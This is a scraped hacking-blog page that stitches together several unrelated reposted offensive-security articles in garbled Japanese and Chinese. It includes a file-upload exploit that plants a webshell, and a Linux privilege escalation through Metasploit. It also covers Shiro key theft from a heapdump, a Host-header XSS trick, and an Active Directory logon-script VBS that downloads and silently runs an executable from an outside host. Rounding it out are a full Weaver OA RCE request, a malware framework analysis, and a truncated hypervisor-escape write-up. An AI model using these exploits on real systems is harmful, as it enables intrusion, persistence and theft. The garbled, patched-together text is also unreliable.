Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863113645

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01脆弱性説明ネットワークDuboは、インターネット手段(違法なDubo Webサイト、ほうれん草アプリ、Wechatグループなど)を通じて実施されるギャンブルアクティビティを指します。オンラインデュボは違法であり、資金は法律によって保護されていないため、多くの「詐欺」行動があります。多くの人々はしばしば、だまされた後、警察に電話をかけず、家族の破壊をもたらします。したがって、Duboを取り締まることが緊急です。特定のほうれん草システムにファイルをアップロードする脆弱性があります。攻撃者は、脆弱性を介してトロイの木馬ファイルをアップロードして、サーバーが失われることがあります。

Image

0x02脆弱性再発FOFA:body='main.e5ee9b2df05fc2d310734b11cc8c911e.css'

1. POCを実行し、Ice Scorpion Horseをアップロードし、アップロードパスに戻ります

//statics/admin/webuploader/0.1.5/server/preview.php http/2host: {{hostname}} user-agent: mozilla/5.0(windows nt 10.0; win64; x64; Firefox/104.0ACCEPT: TEXT/HTML、APPLACE/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、*/*; Q=0.8Accept-Language: Zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2accept-encoding: gzip、deflatednt3360 Navigatesec-fetch-site: nonesec-fetch-user: Application/x-www-form-urlencodedcontent-length: 746DATA:IMAGE/PHP; BASE64、PD9WAHAKQGVYCM9YX3JLCG9YDGLUZYGWKTSK2VZC2LVBL9ZDGFYDCGPOWOGICAGJ gtlet0iztq1ztmyowzlyjvkoti1yii7iaojjf9trvntsu9owydrj109jgtletskcsrwb3n0pwzpbgvfz2v0x2nvbnrlbnrr zkcjwaha6ly9pbnb1dcipowojawyoiwv4dgvuc2lvbl9sb2fkzwqoj29wzw5zc2wnkskkcxskckkkkkkddd0iymfzzty0xyiui mrly29kzsi7cgkjhbvvc3q9jhqojhbvvc3quiiipowojcqojcwzvcigkat0woyrpphn0cmxlbigkcg9zdck7jgkrkykgewog icagcqkjicrwb3n0wyrpxsa9icrwb3n0wyrpxv4ka2v5wyrpkzemmtvdoyakiakjcx0kcx0kcwvsc2ukcxskckkkcgg 9ZDD1VCGVUC3NSX2RLY3J5CHQOJHBVVC3QSICJBRVMXMJGILCAKA2V5KTSKX0KICAGICRHCNI9ZXHWBG9KZSGNFCCSJHBV C3QPOWOGICAGJGZ1BMM9JGFYCLSWXTSKICAGICRWYXJHBXM9JGFYCLSXXTSKCWNSYXNZIEN7CHVIBGLJIGZ1BMN0AW9UIF 9faw52b2tlkcrwkksb7zxzhbcgkcc4iiik7fx0kicagiebjywxsx3vzzxjfznvuyyhuzxcgqygplcrwyxjhbxmpowo/pg==s Image

2。ICESCORPIONは、Webシェルを取得するために接続します

Ice Scorpionデフォルト接続パスワード:Rebeyond Image

3.ヌクレイバッチ検証スクリプトは、ナレッジプラネット(多くの資産があります)で公開されています。

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzkymtmwnju1mg==mid=2247486261Idx=1Sn=2ea324e5b3b895bd500a509bd15ae90fchksm=c184df E2F6F356F47A5F80D045FAC890227A508488B23898482CE4F9DAA91FECC54D2F83629SCENE=178CUR_ALBUM_ID=258167779399042598912#RD

0x00間違った終わりに応じて

私は誤ってゴミのほうれん草のウェブサイト豚を殺すディスク图片のセットに遭遇しました

图片

スキャンされたディレクトリとファイルに1つずつアクセスしても、それほど役に立ちませんが、背景アドレスが見つかります。 phpmyAdminアクセス500。图片

图片

XD.PHPにアクセスしてアクセスして、検証コード图片も許可する必要があることがわかります

私は8888、123456を試しましたが、他のすべてがエラーを促し、その場でそれらを閉じました。图片

ドメイン爆発の試みは1つだけです。 NMAPスキャンでは何も見つかりませんでした。ホームページに戻って、URLは少し珍しいことがわかりました。图片

0x01同様のWebサイトとソースコードを探しています

このような詐欺は、ソースコードをめったに開発しません。ソースコードがインターネットからダウンロードされ、それを構築する人を見つけたことは確かです。機能が機能なので、検索しました。图片 图片

0x02 auditを開始

非常に多くのWebサイトのソースコードは混乱している必要があるため、ソースコードを見つけて監査しようとしています。图片

ソースコードをダウンロードして、Seayでスキャンします。ソースコードが大きすぎて、私はそれをローカルに構築するのが面倒です。ソースコードを直接使用してターゲットを批判します。图片

そこからfileupload.phpファイルを見つけましたが、少し問題があるようです。图片

アクセスターゲットは、ファイルも存在することを発見します。ファイルを抽出し、ローカルに構築された環境でテストします。图片

ダイレクトアクセスは、2つのフォルダーのアップロードとupload_tmpを自動的に作成します。これはデモポイントです。この点は、実際にはバックドアのように見えます。图片

图片

また、ファイル名変数は完全に制御可能です。图片

読み続けて、いくつかの判断を見つけてください。フォームの名前をアップロードするには、ファイルできます。ファイルをアップロードする場合は、他のファイルについて心配する必要はありません。アップロードフォームを変更するだけです。パラメーター名とファイルを追加するだけです。

图片

名前パラメーター制御ファイル名aaa.php 图片を制御します

1.jpgアップロード图片を選択します

アップロード後にリターンパスはありませんが、AAA.PHPファイルはすでにアップロード中に存在しています。 SQL注入图片

変数内の場所の値は、リクエストから生じるものであり、上記のチェックインプットで検出されたタイプの値はありません。图片

Betlistcntをフォローしてください

图片 图片処理せずにクエリに直接持ち込まれ、多くの同様のポイントがあります。

0x03監査脆弱性の検証

图片

以前のアップロードを通してウェブシェルを取得し、権利を増やしてください。图片

それはdebianであることがわかりました。ポート6379があるが、ルートユーザー图片によって開始されていないことがわかりました

图片

カーネルバージョンを見た後、私はそれが大丈夫であるべきだと感じているので、私は許可を持つEXPを見つけようとします。图片

MSF Horse 图片を生成します

便利なため、MSFを使用してこのマシンを起動しました。次に、対応するエスカレーションExpを探します。

0x04権利を調達してみてください

これらの2つのCVE-2019-13272とCVE-2017-16995がGitHubで利用ツールを探していたとき、MSFには実際に右に右に付属していることを思い出しました。そこで、图片を検索しようとしました

图片を検索する場合は使用してください

图片

結果は、その場で图片で失敗しました

2番目のCVE-2017-16995 图片をお試しください

图片

图片ルート許可を使用したセッションを正常に返しました。特権のエスカレーションは完了し、元のリンクで再現されました:https://MP.Weixin.QQQQQQQQQQQQQ5IMLFHHNQNQNBTPFXCA

序文

この記事は、コミュニケーションと学習のみです。この記事によって提供された情報の普及と利用によって引き起こされる直接的または間接的な結果と損失は、ユーザー自身の責任であり、記事の著者はこれに対して一切責任を負いません。

侵入テストは、情報収集の3つの段階に分類できます。関連するすべての資産情報を可能な限り収集します。テストの範囲を決定します。脆弱性の発見。収集された資産のさらなる脆弱性の検出と搾取。発見された脆弱性のさらなる搾取と搾取の程度。 1。JS图片のAPIインターフェイス

2。マルチポートサイト图片3。カスタマーサービスシステムフィッシングガイダンスなど。图片4。ポイントシステムは、脆弱なサイドステーション图片5をターゲットにします。リチャージインターフェイス图片6。デモサイトのソースコード分析を見つけるソースコードホワイトボックス分析图片 图片

图片

7. BCバックエンドは、JSリソースURL、サブドメインなど、および一般的な小さなサイトを見つけるためのその他の方法にルート化されています。主に最初のドメイン、AD AG ADMIN 123ADMIN HTなどを追加します。

1. 简介

我搭建了一个Spring heapdump泄露shiro key从而RCE的漏洞环境,Github地址:https://github.com/P4r4d1se/heapdump_shiro_vuln
漏洞利用条件:

  • Spring Shiro环境
  • 存在heapdump文件泄露
  • 存在可利用链

2. 漏洞原理

Shiro相关的漏洞原理和调试分析已经有很多大佬分享过了,这里不再赘述,这里主要针对这个漏洞环境进行说明:
(1)Spring其实是有自己默认安全框架的,叫Spring Security,但可能有的开发用Shiro用习惯了,将Spring Securiy替换成了Shiro,这种情况并不少见,比如若依就是Spring shiro。

xsdawiyifra15087.jpg

(2)在有key的情况下,即使是最新版的Shiro也一样存在漏洞,而且在很多时候都会因为开发、部署等问题导致shiro key的泄露。
(3)Shiro大于1.2.4的版本中,在没有开发人员人工干预的情况下key改为了随机生成,这个随机生成是在每次启动Web环境的时候,重启前这个key不会改变,可以在JVM虚拟机内存里找到。

eqzcksoh0bo15088.jpg

(4)Spring的heapdump文件就是从JVM虚拟机内存导出的。
综上所述导致了这个组合漏洞的产生。

3. 漏洞演示

加载漏洞环境后,可以看到Shiro版本为1.8.0:

2su5xns0enz15089.jpg

访问8080端口的/actuator/heapdump获取heapdump文件:

u1ggcfhvgrd15091.jpg


获取其中的shiro key,我常用的有两种方式:
(1)JDumpSpider:https://github.com/whwlsfb/JDumpSpider
这个小工具可以自动爬取heapdump中的变量信息,比较方便,坏处是可能会漏掉没在爬取列表中的信息。
直接运行:java -jar JDumpSpider.jar heapdump即可自动获取变量信息,这里获取到ShiroKey:nwpcg515e0d15092.jpg(2)jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe
这个工具需要手动去找想要的信息,在过滤里输入org.apache.shiro.web.mgt.CookieRememberMeManager,圈出来的16个字节的值就是key:uahwkiuf2mm15094.jpg
用一个Python小脚本转成base64编码后的Shiro key:

用一个Python小脚本转成base64编码后的Shiro key:

import base64
import struct

print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', 109,-96,12,-115,33,59,24,112,44,124,56,110,-15,59,1,-41)))
abftwbqh41215096.jpg

使用获得的key进行利用成功:

gujb35nyfpi15097.jpg

重新启动服务器再次获取shiro key,可以看到key改变了,验证了漏洞原理的第3点,每次启动生成一个随机key:

4xahqmkzrmk15101.png

改用新的key仍然可进行利用:

zygouey3m5415103.jpg




转自原文链接: https://xz.aliyun.com/t/11908

HireHackking

日常SRC中xss小tips

0x00  前言

关于众测、专属中如何去捡漏xss洞,水文,水文,水文!!!

0x01  日常测试

日常无聊测站点,当你在渗透测试时候,发现有某个html标签调用服务器内图片的,并且是那种加入服务器ip地址的,可以尝试通过修改host头来fuzz一下,探测下是否存在xss。w5p2sjdikwn15072.jpg
dwszvyid1pv15073.jpg看到这种情况我们可以大概猜想一下,其中的后段代码可能是以下样子:<img src="<?php echo "http://{$_SERVER['HTTP_HOST']}/"?>xxx/aaa.png" />这样看来就很简单了,修改一下请求包中的host就能造成xss咯。pnnf24mwhsz15074.jpg
成功弹窗hebst5xsqz115075.jpg
hmj3wfkxplg15076.jpg捡破烂小tips完结。

转自原来链接:https://blog.csdn.net/Guapichen/article/details/124040935?spm=1001.2014.3001.5501
HireHackking

登录脚本下发

0x1、利用场景

当获取到域控权限或domain admin等高权限时,想横向到域内PC主机上对方开启了防火墙,无法通过445、135进行横向利用,可以通过登录脚本绑定的方式获取目标主机权限。

0x2、利用方法

方法一、powershell win2012及以上自带,获取当前域用户信息

Get-ADUser -Filter * -Properties * | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\Users\Public\Documents\user.csv -Encoding utf8

绑定指定用户

Set-ADUser -Identity zhangsan -ScriptPath "download.vbs"

解绑

Set-ADUser -Identity zhangsan -ScriptPath " "

方法二、利用dsmod进行绑定

 dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com"

解绑

dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com"

刷新组策略

shell gpupdate /force

VBS内容

strFileURL = "http://192.168.172.129:82/logo.ico"strHDLocation = "C:\Users\Public\Documents\ChsIME.exe"Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open "GET", strFileURL, falseobjXMLHTTP.send()If objXMLHTTP.Status = 200 ThenSet objADOStream = CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type = 1 'adTypeBinaryobjADOStream.Write objXMLHTTP.ResponseBodyobjADOStream.Position = 0'Set the stream position to the startSet objFSO = Createobject("Scripting.FileSystemObject")If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocationSet objFSO = NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSet objADOStream = NothingEnd ifSet objXMLHTTP = NothingstrComputer = "."set ws=wscript.createobject("wscript.shell")val=ws.run ("C:\Users\Public\Documents\ChsIME.exe",0) 

上传至dc c:\windows\SYSVOL\sysvol\redteam.com\SCRIPTS\目录下,通过方法一或方法二进行绑定后刷新组策略即可



 https://www.cnblogs.com/websecyw/p/16657762.html


某应用存在后台RCE,根据相关信息,我们在对后台审计过程,这里发现一处调用newInstance实例化

ojnq5prt21t14907.jpg

溯源找到InterfaceRegisterCustomOperationCmd #excute

tilzfhlg3qw14911.jpgq0oxmgyccvs14915.jpgltooswhmyhi14918.jpgr2kdiruazx514922.jpg
访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation

getInterfaceRegisterCustomOperation调用了execute,首先判断了用户,所以这里是后台漏洞

eyzufmlts0114925.jpg

因为我们需要这个污点函数JavaCodeToObject,所以要满足if的条件并且控制var18和var20

amoqh5hstpp14929.jpg

这里var14要为add

0xyjwebtbce14930.jpg

var14的值是从请求参数method取得,因为前面是指定POST方法所以这里method=add

0yfbo2sdnxp14932.jpg

进入if判断后var15的值如果为空就会return掉,所以这里actionid的值不为空就好,结合上面的条件就是method=add&actionid=1

0ccuyqrcpxz14934.jpg

这里var18的开头如果不是weaver.interfaces.workflow.action.javacode.Action将会进入下面的判断导致抛出异常,达不到我们想要的结果,所以这里classname=weaver.interfaces.workflow.action.javacode.Action,结合上面的参数method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action

ovgndgck51w14936.jpg

下面var20值取自javacode参数,结合上面payload为method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode=

vciezpr1mxz14939.jpg

if如果var18包含weaver.interfaces.workflow.action.javacode进入我们想要的javacodetoobject调用,所以classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action两个条件用.连接否则会报加载异常

mbmwzbcl1y214941.jpg

根据上面的条件都已满足var18和var20条件,构造var20的参数为 javacode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码,达到命令执行

0k1ioy4rubn14945.jpg

实际发包好像没有利用成功,回头看一下代码 发现丢了个参数 dtinfo_CustomParameterData

POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 548

method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
import java.io.IOException;
public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

cbhsgocnqwv14947.png



转载来自: https://xz.aliyun.com/t/11947

01.png

今年早些時候,Check Point Research發表了一篇關於“Jian”的文章。在這篇文章中,我們介紹了DanderSpritz框架。

DanderSpritz是什麼?DanderSpritz是Equation Group使用的一個功能齊全的開發後框架。這個框架通常是在利用設備並部署了PeddleCheap之後使用的。 DanderSpritz是非常模塊化的,包含各種各樣的工具,用於持久性、偵察、橫向移動、繞過防病毒引擎和其他此類可疑活動的各種工具。 DanderSpritz 結構和執行流程

在“Lost in Translation”洩漏的目錄樹中,可以發現DanderSpritz邏輯被分為兩部分:

1.png

dderspritz的核心功能包含在文件DszLpCore.exe中,該文件可以在windows/bin中找到。框架的插件和復雜組件,包括我們稍後將詳細討論的DoubleFeature,可以在windows/resources中找到。 fuzzbunch、implants 和windows 下的其他目錄包含獨立於DanderSpritz 的模塊,用於利用自身、控制受害者係統、初始數據收集等。

DanderSpritz 中的基本邏輯單元就是我們所說的“插件”,駐留在windows/resources中,大約有十幾個,它們有一個非常特定的目錄結構。

windows\\resources 下還有一些其他目錄,它們不是插件,而是包含各種輔助腳本。

2.png

Aliases和Commands:它們都包含聲明支持““aliases” 和“commands”的XML 文件,它們分別提供類似的功能。當DanderSpritz 框架的用戶發出一個shell 命令,DanderSpritz 將遍歷每個插件,檢查這些XML 並驗證他們是否聲明支持用戶輸入的shell 命令。如果命令出現在Aliases 下,它將被簡單地映射到現有腳本;命令通常會在幕後以某種方式調用插件的內部邏輯。這實際上意味著DanderSpritz 的用戶可以運行許多不同的shell 命令來實現不同的結果。在Commands(但不是Aliases )下,除了XML 之外,還有一個XSL 文件,它指定返回給DanderSpritz 用戶的命令輸出的格式。

Modules:大部分插件邏輯都包含在這個目錄中。從名稱可以看出,該邏輯被進一步劃分為更小的功能“模塊”。 descriptions子目錄包含一個XML 文件,它是一種“manifest”。它詳細說明了應該在受害者設備和“LP”(“Listening Post”,攻擊者控制的遠程監控受害者的設備)上運行哪些腳本和二進製文件。它還列出了插件對其他模塊的依賴、它的接口數據、它支持的計算架構以及它應該在受害設備上還是在LP 上運行。一些插件還包含具有類似功能的有效載荷目錄。

PyLp:包含XML 文件,用於格式化從受害者設備中洩露的傳入信息。對於每種“消息類型”(一種洩露的信息),XML 指定一個Python 腳本,用於格式化數據以方便顯示。此格式化腳本位於PyScripts 目錄中。

PyScripts:框架使用的所有雜項Python 腳本都在此目錄中。

Scripts:這個目錄還包含雜項腳本,這些腳本是用一些重印記的腳本語言編寫的,在Python 崛起之前,這些腳本語言似乎可以合理使用。

Tools:開發者認為他們寧願按原樣包含和調用的自包含材料(PE、DLL、腳本、JAR、文本文件等)。

Uploads:由插件推送到受害者係統的獨立二進製文件。

Version:包含一個包含插件版本的XML 文件。

下面我們詳細介紹調用插件Aliases或Commands時的典型控制流程。

DanderSpritz 用戶在DanderSpritz 用戶界面中輸入一個shell 命令,該命令在幕後使用該特定插件實現。

3.webp.jpg

DanderSpritz 的用戶界面及其shell 命令

1.DanderSpritz 的主要邏輯遍歷resources目錄,一個接一個地查看插件目錄。對於每個插件目錄,DanderSpritz 查看aliases 子目錄和commands 子目錄,並仔細檢查其中的XML 文件,尋找與shell 命令匹配的聲明的導出功能。找到匹配項,並且匹配的XML 元素指定插件的pyscripts 目錄中的路徑。

2.DanderSpritz 計算調用腳本的完全限定路徑(通過將匹配的XML 元素中指定的路徑附加到插件的pyscripts 目錄的路徑)並執行該文件。這是顯示調用的shell命令的用戶界面的位置,插件可以說是正常運行的。

3.現在,攻擊者可以隨時盯著他們調用的工具的UI。最終,他們可能希望通過此UI 調用某些功能。根據選擇的功能,Python UI 構造一個遠程進程調用。它將此RPC 發送到受害設備上的DanderSpritz 組件。受害者端的這個組件然後執行調用並返回結果。這樣,RPC 就被用作LP 上的組件訪問的API,以在受害設備上執行操作(例如收集屏幕截圖或錄製語音)。此API 與這些操作在受害組件端實際實現的方式分離。

4.RPC 返回攻擊者所需的寶貴信息,Python UI 在插件的PyLP 目錄中查詢與結果的消息類型匹配的XML。這個XML 指定瞭如何在LP 端顯示返回的信息,UI 也是如此。

4.png

特定命令的XML 文件(LP 和Target)示例

DoubleFeature為了更好地理解上述結構和流程,我們將研究重點放在了DanderSpritz 的一個名為Doublefeature(簡稱Df)的組件上。根據它自己的內部文檔,這個插件“生成關於可以部署在目標上的工具類型的日誌和報告”;許多框架工具,在它們自己的內部文檔中,聲稱DoubleFeature是唯一的方法來確認他們在一個被破壞的系統上的存在。經過一段時間的停頓,我們認為至少這意味著DoubleFeature 可以用作一種Rosetta Stone,以更好地理解DanderSpritz 模塊和受其影響的系統。

5.webp.jpg

strangeland.py 的代碼指的是確認的唯一方法是使用DF

不幸的是,由於DoubleFeature 作為日誌模塊的獨特功能,它收集了大量各種類型的數據。 RPC 返回值和XSL 標記不適合在這種規模上傳輸和顯示信息。

6.webp.jpg

DoubleFeature 主菜單

DoubleFeature PyScripts目錄包含Python的UI界面(doublefeature.py),但是當攻擊者從UI 菜單中選擇一個選項時,在幕後,腳本會變成一個“模板”DLL,DoubleFeatureDll.dll.unfinalized ,位於插件的上傳目錄中。 Python 調用插件工具目錄中的外部工具AddResource.exe ,將資源植入已編譯的DLL,使用新名稱:DoubleFeatureDll.dll.configured。確切的命令運行是:

*localrun-redirectcommand'cmpf61104'*'命令使用的標誌解釋如下。

c (compressed) ——Zlib 壓縮數據;

m (munge)=通過與偽隨機字節異或來混淆資源。字節是通過運行PRNG(32 位LCG)並使用執行時間戳作為種子生成的;為了允許恢復,種子被添加到混淆的資源中;

p (place)=將資源放入homebrew資源目錄;

f (finalize)=私有資源目錄;

6=資源類型(此時,枚舉值6 轉換為RT_STRING,一個字符串表條目);

1104=資源名稱。

在主插件DLL ** 被賦予這個新資源後,Python UI 使用DanderSpritz dllload shell 命令將其加載到受害設備上:

dllload -ordinal 1 -library

一旦受害者端的DLL 完成運行並將報告寫入受害者設備上的日誌文件,Python UI 就會使用以下DanderSpritz shell 命令將日誌文件提取回攻擊者設備:

foregroundget-nameDFReport雖然DanderSpritz 命令的大部分輸出是根據XSL 規範查看的,但DoubleFeature 的輸出太大且變化太多,因此這種方法不可行。相反,攻擊者通常使用為此目的編寫的專門程序——DoubleFeatureReader.exe,查看日誌文件,該程序可以在插件的工具目錄中找到。

DoubleFeature 將其所有日誌數據寫入名為~yh56816.tmp 的調試日誌文件嗎,此日誌文件使用AES 算法加密。除非用戶手動更改密鑰,否則使用的默認密鑰是badc0deb33ff00d。

DoubleFeature 的主DLL當修復的DLL ( DoubleFeatureDll.dll.configured ) 首次加載到受害設備上時,它會在自製軟件資源目錄中查找名為“106”的資源。該目錄位於實際代碼之後的“.text”部分,DLL 能夠通過搜索不同的魔法值來找到它。 homebrew 資源目錄具有以下結構:

7.png

這個資源(與之前通過調用AddResource.exe移植到DLL的資源不同)在靜止狀態下是加密的,為了使用它,必須對它進行解密和解壓縮。

8.png

資源106 解壓縮後,是一個名為hidsvc.sys 的驅動程序。它通過調用CVE-2017-0005 的EpMe 漏洞加載到內核中。加載驅動程序後,DLL 開始使用DeviceIoControl 與其通信。驅動程序支持的最有趣的IOControlCode 是0x85892408,它允許用戶模式代碼通過簡單地指定功能名稱和參數來直接調用內核功能。驅動程序希望使用此代碼的傳入消息與以下結構捆綁在一起:

9.png

在接收到這個結構體後,驅動程序遍歷ntoskernl.exe 的每個導出函數,計算結果校驗和並將結果與提供的export_func_hash 進行比較。一旦找到匹配項,驅動程序就會得出結論,它已找到正確的函數。這是混淆API 調用的標準方法,在許多其他惡意軟件中都可以看到。

校驗和計算邏輯如下所示:

10.png

一些校驗和值示例:

11.png

這還不是唯一的困難,DoubleFeature 中使用的字符串是解密的,這本身就是非常標準的,但按需對每個函數進行解密,一旦函數執行完成,它們就會重新加密,這比平常更令人沮喪,DoubleFeature 還支持其他混淆方法,例如簡單的替換密碼:

12.png

以及一個基於簡單自製線性PRNG的流密碼:

13.png

如上所述,憑藉其函數,DoubleFeature 是與Equation Group工具相關的唯一知識來源。畢竟,整個日誌記錄模塊依賴於在受害系統上查詢這些工具並驗證哪些工具存在的能力。下面我們列出了日誌模塊探測到的一些工具,其中一些是未知的。

除了在DLL 的執行流程中使用的資源106 和1104 外,主DLL 的homebrew資源目錄還包含以下資源:

資源1004:UnitedRake 重新啟動DLL。

資源1005:UnitedRake 關閉DLL。

資源1006:StraitBiZarre 重新啟動DLL。

資源200:與BCD 分區數據進行比較的已知引導管理器的哈希值。

資源1007:升級KillSuit 模塊DLL,在代碼中可以找到對它的引用,但在目錄中不再物理找到它。可能它存在於DLL 的早期版本中,後來被刪除了。

DoubleFeature 監控的插件UnitedRakeUnitedRake (UR) 是一種遠程訪問工具,可用於針對Windows 設備。它是一個可擴展的模塊化框架,提供了大量執行不同信息收集功能的插件。

UnitedRake 指標如下:

1.MSNDSRV.sys:內核模式階段0 和rootkit。實現用於過濾網絡流量的NDIS 驅動程序。直到UR 4.0 版。

2.ATMDKDRV.sys :網絡嗅探器/修復程序。從UR 4.1 版開始。

3.“Software\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\TypeLib” or “\Registry\Machine\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2209}\TypeLib”:包含UR 的GUID,特殊項註冊表項

4.“\Registry\Machine\System\CurrentControlSet\Control\Session Manager\MemSubSys\{95FFB832-8B00-6E10-444B-DC67CAE0118A-F6D58114}”:KillSuit記錄與註冊表相關的數據。

5.“Global\64322D88-0CEA-4ce0-8562-67345B70C655”:在TipOff 命令中創建的文件映射。

6.“*Global\*6F27089A-3482-4109-8F5B-CB3143A1AB9A” 和“*Global\*667FBF02-F406-4C0A-BA65-893747A0D372”:在UR 關閉時創建的事件。

7.{A0CCDC61-7623-A425-7002-DB81F353945F-5A8ECFAD}: UnitedRake 3/4 配置數據和傳輸信息CLSID;

8.{30F3976F-90F0-B438-D324-07E031C7507E-981BE0DD}:UnitedRake 插件信息CLSID;

9.{95FFB832-8B00-6E10-444B-DC67CAE0118A-F6D58114}:UnitedRake 記錄數據CLSID;

10.{01C482BA-BD31-4874-A08B-A93EA5BCE511} :UnitedRake 的互斥鎖名稱。

StraitBizarreStraitBizarre (SBZ) 是一種用於隱秘數據洩露的植入程序,它通過FriezeRamp 執行——一種類似於IPSEC 的自定義網絡協議。這是一個跨平台項目,存在支持Windows、Linux 和移動平台的不同版本(例如iPhone 的DROPOUTJEEP,甚至Windows Mobile 的TOTEGHOSTLY)。

14.webp.jpg

StraitBizzare 信息

我們在DoubleFeature 中發現了以下StraitBizarre 指標:

{1B8C5912-8BE4-11D1-B8D3-F5B42019CAED}:用於GUID,版本和特殊狀態項的SBZ CLSID。

在這個挑戰中,我們被賦予了運行在hypervisor中的linux虛擬機的root權限,目標是實現hypervisor逃逸,以訪問宿主機系統上的旗標文件。在這個過程中,我們發現了多個安全漏洞,通過它們可以實現lkvm的零日攻擊,使得具有虛擬機訪問權限的攻擊者能夠在宿主機上執行任意命令。

在這篇文章中,當提到行號時,請參考kvmtool的git checkout 39181fc6429f4e9e71473284940e35857b42772a。

攻擊面由於我們是在hypervisor內運行,並且宿主機和虛擬機內存之間實現了顯式的隔離,因此,我們需要找到一種方法與宿主機的進程進行通信。實際上,我們可以通過pci與宿主機進行通信,因為Lkvm通過pci模擬了3個硬件設備:virtio-console、virtio-net和virtio-balloon。我們可以使用內存映射的IO與這些設備進行交互,也就是對特定的物理內存地址進行讀取和寫入操作。如果我們對0xd2000000-0xd20000ff(balloon-virtio)範圍內的地址進行寫操作,虛擬機就會被中斷,並且控制流將被傳遞給linux系統的kvm驅動程序,然後進一步傳遞給lkvm進程。

信息洩露當從這個地址執行讀取操作時,我們首先遇到的一個函數是virtio/pci.c第148行的virtio_pci__data_in函數:

image.png

該函數可以將偏移量映射為bar(地址範圍),這意味著,如果我們在地址0xD2000000+VIRTIO_PCI_QUEUE_NUM==0xD2000008處執行讀取操作,我們將進入第二個case子句。需要注意的是,這裡的默認case子句非常有趣:在第118行調用virtio_pci__specific_data_in:

image.png

在這裡,我們總是以else if的case子句結束,因為這不是MSIX操作。另外,config_offset是根據從virtio_pci__data_in傳遞的偏移量來計算的,我們看到它具有完整的訪問權限,並且沒有進行任何綁定檢查。並且,config_offset的值是在調用virtio__get_dev_specific_field時作為返回參數進行計算的。如果我們沒有執行MSIX操作,config_offset就是設置為傳遞給virtio__get_dev_specific_field的第一個參數的值,其偏移量為-20。

到目前為止,我們只討論了virtio和pci泛型函數,但這裡調用了ops-get_config,在本例中,它從balloon驅動程序中提取了u8*配置。這個函數只是一個簡單的getter,代碼如下所示:

image.png

正如我們在下面所看到的,virtio_balloon_config是結構體的最後一個元素;讀者可能已經註意到了,config結構體非常小。由於bar(地址範圍)為0x100(0xD2000000-0xD20000FF),因此,只要將偏移量設置為大於20,我們就能以0x10020+sizeof(virtio_balloon_config)的形式訪問這個config結構體。在這個地址範圍內執行寫入操作時,相當於對config結構體執行寫操作,這意味著我們獲得了一個越界讀/寫原語。

image.png

這段內存並沒有分配在堆棧上,而是分配到一個mmaped區域中。這意味著我們無法通過破壞這個內存區來控製程序流。但是,我們能夠利用這個漏洞來洩露信息,即洩露兩個感興趣的指針,其中一個指向bln_dev結構體本身的地址,另一個指向lkvm二進製文件的基址。

為了在用戶空間進程中洩漏這兩個指針,我們可以使用/dev/mem來訪問虛擬機的物理內存,具體代碼如下所示:

image.png

這裡,leak_u64使用ioread8從virtio-balloon所在的0xD2000000處的mmap/dev/mem區域讀取數據。我們將這20個字節加上一個越界的偏移量,使其正好指向lkvm可執行文件的地址,這樣我們就能實現信息洩漏了。對於bln_dev洩漏,我們可以重複相同的過程。

獲得程序流程的控制權現在終於到了最有趣的部分:控制rip。假如我們能利用前面的漏洞來編寫任意的越界代碼,那麼,我們可以破壞哪些有趣的數據呢?在下圖中,我在virtio_pci__specific_data_in函數中設置了一個斷點來檢查bln_dev內存。在這裡,我轉儲了位於config結構體後面的內存內容。其中,我們看到一些名為exit_lists的結構體,不幸的是,由於我們可以突破0x100的限制,所以,這些結構體都是可達的。但這些到底是什麼?

1.png

由於virtio_pci__specific_data_in中的偏移量-20導致轉儲不是0x10對齊的,所以地址可能會有點亂

